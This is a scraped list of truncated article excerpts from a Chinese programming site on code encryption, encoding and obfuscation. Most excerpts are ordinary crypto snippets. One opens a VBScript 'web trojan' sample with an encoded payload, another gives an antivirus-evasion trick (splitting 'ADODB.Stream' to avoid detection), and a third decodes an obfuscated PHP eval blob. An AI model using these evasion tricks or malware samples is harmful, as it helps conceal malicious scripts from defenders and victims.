jce.jarsecurity/US_export_policy.jarsecurity/local_policy.jarext/sunjce_provider.jarJava运行时会自动加载这些包,因此对于带main函数的应用程序不需要设置到CLASSPATH环境变量中。对于WEB应用,不需要把这些包加到WEB-INF/lib目录下。以下是java中调用sun公司提供的3DES加密解密算法的样本代码:[code]/*字符串DESede(3DES)加密*/importjava.security.*;importjavax.crypto.*;importjavax.crypto.spec.Sec...
http://www.jb51.net//article/16556.htm
对应的写了一个简单的解密的,专门针对eval。这个原理很有用途的,在这里记下。[code]<?php/*author:zhiwushandate:20080411*/ //已经加密的文件内容$a="eval(gzinflate(str_rot13(base64_decode('DdNUsptVAADQq2vn7+oFGU6VPb+EyE4EiSA2LhAZUZN2OP343eF9//f7+1S+Jd1KbNZ90SVY/jUv098JLgT1lSZmztJ/s/wNs/zrp5jd/XZLrter6I6UEqkkshUXmfWmEQNnhJfcdH7qCvlmY60ku0QVlfMMSU...
http://www.jb51.net//article/15737.htm
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Security.Cryptography; using&nb...
http://www.jb51.net//article/15376.htm
js/vbs/vbscript加密代码:<body style="font:12px"><fieldset><legend align="center">源码变异处理 </legend><table><tr valign=top><td><br><button onclick=encJSHTM()> JS 网页加密 </button><br><button onclic...
http://www.jb51.net//article/14972.htm
如下是一段网马<Script Language="VBScript">Cn911="83,61,34,52,70,54,69,50,48,52,53,55,50,55,50,54,70,55,50,50,48,53,50,54,53,55,51,55,53,54,68,54,53,50,48,52,69,54,53,55,56,55,52,48,68,48,65,52,51,54,69,52,67,53,50,53,53,51,68,50,50,54,56,55,52,55,52,55,48,51,65,50,70,50,70,55,55,55,55,55,55,50,6...
http://www.jb51.net//article/14971.htm
1加花最简单,就是字符串连接起来 看如下代码:Set aGet = CreateObject("ADODB.Stream") 这个一般都会被杀,简单处理下 Set aGet = CreateObject("AD"&"OD"&"B.Stre"&"am")OK,免杀了,就是字符串分割2 URLEncode 解密一般形式都是用%连接2个16进制字符来看的。我们用的工具可以有 http://biweilun.ys168.com/ 里面script文件...
http://www.jb51.net//article/14970.htm
我们也应该清楚地认识到因为JAVASCRIPT代码是在IE中解释执行,要想绝对的保密是不可能的,我们要做的就是尽可能的增大拷贝者复制的难度,让他知难而退(但愿~!~),下面我结合自己这几年来的实践,及个人研究的心得,和大家一起来探讨一下网页中JAVASCRIPT代码的加密解密技术。 以加密下面的JAVASCRIPT代码为例: <SCRIPT LANGUAGE="JavaScript"> alert("《黑客防线》"); </SCRIPT> 一:最简单的加密解密 大家对于JAVASCRIPT函数esca...
http://www.jb51.net//article/14969.htm
function MyDecode(str){var i,k,str2="";k=str.split(".");for(i=0;i<k.length;i++){str2+=String.fromCharCode(k[i]^0x12);}return str2;}myrand="46.97.115";WScript.echo(MyDecode(myrand));function Encrypt(str){var monyer = new Array();var i, s, str;...
http://www.jb51.net//article/14967.htm
Function fDecode(sStringToDecode)'This function will decode a Base64 encoded string and returns the decoded string.'This becomes usefull when attempting to hide passwords from prying ey...
http://www.jb51.net//article/14596.htm
鬼仔注:第二个方法以前在这里提到过的。1.来源pstdocument.write=window.alert;eval=window.alert;把这两行加在加密代码前面,然后执行,弹出message后ctrl+c。2.Author:zzzevazzz在地址栏或按Ctrl+O,输入:javascript:s=document.documentElement.outerHTML;document.write("<body></body>");document.body.innerText=s;源代码就出来了。不论加密如何复杂,最终都要还原成浏览器可以解析的html代码,而d...
http://www.jb51.net//article/14491.htm
<?php/* ----------------------------------------------------------------------------* Script Name: encrypt.php* Creation Date: 2008-4-7 10:36* Last Modified: 2008-4-12 16:00* Author: meyu* Copyright (c) 2007*&nbs...
http://www.jb51.net//article/14259.htm
